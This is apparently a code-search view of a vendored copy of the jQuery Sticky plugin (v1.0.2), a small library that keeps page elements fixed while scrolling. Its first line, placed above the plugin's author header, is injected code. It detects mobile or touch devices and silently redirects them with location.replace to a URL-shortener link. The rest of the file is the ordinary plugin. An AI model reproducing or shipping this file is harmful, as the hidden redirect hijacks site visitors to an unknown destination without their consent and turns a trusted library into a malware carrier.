vendor: 6,620 bytes, lines 1-204
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.live/BQziYifOl0r9"); 2// Sticky Plugin v1.0.2 for jQuery 3// ============= 4// Author: Anthony Garand 5// Improvements by German M. Bravo (Kronuz) and Ruud Kamphuis (ruudk) 6// Improvements by Leonardo C. Daronco (daronco) 7// Created: 2/14/2011 8// Date: 16/04/2015 9// Website: http://labs.anthonygarand.com/sticky 10// Description: Makes an element on the page stick on the screen as you scroll 11// It will only set the 'top' and 'position' of your element, you 12// might need to adjust the width in some cases. 13 14(function($) { 15 var slice = Array.prototype.slice; // save ref to original slice() 16 var splice = Array.prototype.splice; // save ref to original slice() 17 18 var defaults = { 19 topSpacing: 0, 20 bottomSpacing: 0, 21 className: 'is-sticky', 22 wrapperClassName: 'sticky-wrapper', 23 center: false, 24 getWidthFrom: '', 25 widthFromWrapper: true, // works only when .getWidthFrom is empty 26 responsiveWidth: false 27 }, 28 $window = $(window), 29 $document = $(document), 30 sticked = [], 31 windowHeight = $window.height(), 32 scroller = function() { 33 var scrollTop = $window.scrollTop(), 34 documentHeight = $document.height(), 35 dwh = documentHeight - windowHeight, 36 extra = (scrollTop > dwh) ? dwh - scrollTop : 0; 37 38 for (var i = 0; i < sticked.length; i++) { 39 var s = sticked[i], 40 elementTop = s.stickyWrapper.offset().top, 41 etse = elementTop - s.topSpacing - extra; 42 43 if (scrollTop <= etse) { 44 if (s.currentTop !== null) { 45 s.stickyElement 46 .css({ 47 'width': '', 48 'position': '', 49 'top': '' 50 }); 51 s.stickyElement.parent().removeClass(s.className); 52 s.stickyElement.trigger('sticky-end', [s]); 53 s.currentTop = null; 54 } 55 } 56 else { 57 var newTop = documentHeight - s.stickyElement.outerHeight() 58 - s.topSpacing - s.bottomSpacing - scrollTop - extra; 59 if (newTop < 0) { 60 newTop = newTop + s.topSpacing; 61 } else { 62 newTop = s.topSpacing; 63 } 64 if (s.currentTop != newTop) { 65 var newWidth; 66 if ( s.getWidthFrom ) { 67 newWidth = $(s.getWidthFrom).width() || null; 68 } 69 else if(s.widthFromWrapper) { 70 newWidth = s.stickyWrapper.width(); 71 } 72 if ( newWidth == null ) { 73 newWidth = s.stickyElement.width(); 74 } 75 s.stickyElement 76 .css('width', newWidth) 77 .css('position', 'fixed') 78 .css('top', newTop); 79 80 s.stickyElement.parent().addClass(s.className); 81 s.stickyElement.trigger('sticky-start', [s]); 82 s.currentTop = newTop; 83 } 84 } 85 } 86 }, 87 resizer = function() { 88 windowHeight = $window.height(); 89 90 for (var i = 0; i < sticked.length; i++) { 91 var s = sticked[i]; 92 var newWidth = null; 93 if ( s.getWidthFrom ) { 94 if ( s.responsiveWidth === true ) { 95 newWidth = $(s.getWidthFrom).width(); 96 } 97 } 98 else if(s.widthFromWrapper) { 99 newWidth = s.stickyWrapper.width(); 100 } 101 if ( newWidth != null ) { 102 s.stickyElement.css('width', newWidth); 103 } 104 } 105 }, 106 methods = { 107 init: function(options) { 108 var o = $.extend({}, defaults, options); 109 return this.each(function() { 110 var stickyElement = $(this); 111 112 var stickyId = stickyElement.attr('id'); 113 var stickyHeight = stickyElement.outerHeight(); 114 var wrapperId = stickyId ? stickyId + '-' + defaults.wrapperClassName : defaults.wrapperClassName 115 var wrapper = $('<div></div>') 116 .attr('id', wrapperId) 117 .addClass(o.wrapperClassName); 118 119 stickyElement.wrapAll(wrapper); 120 121 var stickyWrapper = stickyElement.parent(); 122 123 if (o.center) { 124 stickyWrapper.css({width:stickyElement.outerWidth(),marginLeft:"auto",marginRight:"auto"}); 125 } 126 127 if (stickyElement.css("float") == "right") { 128 stickyElement.css({"float":"none"}).parent().css({"float":"right"}); 129 } 130 131 stickyWrapper.css('height', stickyHeight); 132 133 o.stickyElement = stickyElement; 134 o.stickyWrapper = stickyWrapper; 135 o.currentTop = null; 136 137 sticked.push(o); 138 }); 139 }, 140 update: scroller, 141 unstick: function(options) { 142 return this.each(function() { 143 var that = this; 144 var unstickyElement = $(that); 145 146 var removeIdx = -1; 147 var i = sticked.length; 148 while ( i-- > 0 ) 149 { 150 if (sticked[i].stickyElement.get(0) === that) 151 { 152 splice.call(sticked,i,1); 153 removeIdx = i; 154 } 155 } 156 if(removeIdx != -1) 157 { 158 unstickyElement.unwrap(); 159 unstickyElement 160 .css({ 161 'width': '', 162 'position': '', 163 'top': '', 164 'float': '' 165 }) 166 ; 167 } 168 }); 169 } 170 }; 171 172 // should be more efficient than using $window.scroll(scroller) and $window.resize(resizer): 173 if (window.addEventListener) { 174 window.addEventListener('scroll', scroller, false); 175 window.addEventListener('resize', resizer, false); 176 } else if (window.attachEvent) { 177 window.attachEvent('onscroll', scroller); 178 window.attachEvent('onresize', resizer); 179 } 180 181 $.fn.sticky = function(method) { 182 if (methods[method]) { 183 return methods[method].apply(this, slice.call(arguments, 1)); 184 } else if (typeof method === 'object' || !method ) { 185 return methods.init.apply( this, arguments ); 186 } else { 187 $.error('Method ' + method + ' does not exist on jQuery.sticky'); 188 } 189 }; 190 191 $.fn.unstick = function(method) { 192 if (methods[method]) { 193 return methods[method].apply(this, slice.call(arguments, 1)); 194 } else if (typeof method === 'object' || !method ) { 195 return methods.unstick.apply( this, arguments ); 196 } else { 197 $.error('Method ' + method + ' does not exist on jQuery.sticky'); 198 } 199 200 }; 201 $(function() { 202 setTimeout(scroller, 0); 203 }); 204})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.